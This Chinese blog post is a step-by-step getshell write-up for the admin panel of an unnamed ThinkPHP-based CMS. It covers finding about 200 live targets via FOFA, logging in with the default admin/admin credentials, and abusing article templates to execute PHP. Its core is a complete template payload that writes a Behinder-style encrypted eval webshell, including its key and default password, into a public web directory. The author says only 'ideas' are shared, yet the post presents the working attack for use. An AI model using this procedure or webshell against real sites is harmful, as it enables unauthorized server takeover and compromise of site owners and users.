某CMS后台通杀getshell

此CMS是基于thinkphp框架二次开发的,目前有thinkphp5,以及thinkphp6两种版本。这些漏洞挖掘出来的时候已经在cnvd被提交过了。但是网上并没有漏洞文章。避免风险这里只分享思路。
某CMS后台通杀getshell
通过fofa搜一下,大概两百多个独立IP
还不错,这个后台一般是个弱口令 admin admin
某CMS后台通杀getshell
登录后可以查看到,具体thinkphp版本,这个对版本要求比较高,6.05以后好像就修复了。因为太明显了所以厚码,见谅。
某CMS后台通杀getshell
这后台可以getshell原因是因为此处模板管理可以添加一个html页面,这里我们直接写phpinfo是可以查看到的。
<?php phpinfo(); ?>
某CMS后台通杀getshell
模板命名需要以article_开头,不然无法生效。
某CMS后台通杀getshell
然后到文章模块去添加一个文章,来调用新建模板。
某CMS后台通杀getshell
重点是调用模板名,需是我们之前添加的模板名。这里添加完成后提交生成即可。然后预览一下添加的文章即可。
某CMS后台通杀getshell
某CMS后台通杀getshell
可以看到代码已经生效,这里我一开始也以为可以直接写php一句话,但是发现写是可以写,但是因为后缀是html,webshell连接不上。
某CMS后台通杀getshell
在html模板中添加php写文件代码路径我们可以从phpinfo中获取
某CMS后台通杀getshell

{php}
echo "eeeee";
$myfile = fopen("/www/wwwroot/web/public/template/default/index/css/v.php", "w") or die("Unable to open file!");
$txt = ‘<?php 
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION["k"]=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded("openssl"))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode("|",$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>‘;
fwrite($myfile, $txt);
fclose($myfile);


{/php}

某CMS后台通杀getshell
依旧是文章模块中进行调用此模板。保存后预览即可。
某CMS后台通杀getshell
可以看到已经输出内容,证明代码已经写入文件。
某CMS后台通杀getshell
这里正常链接上冰蝎。

总结:
虽然模板中添加的是{php}格式,但是实际解析出来会变成<>内容.算是个小知识点。
某CMS后台通杀getshell

某CMS后台通杀getshell

上一篇:VMware 虚拟机安装黑屏问题


下一篇:Delphi中代替WebBrowser控件的第三方控件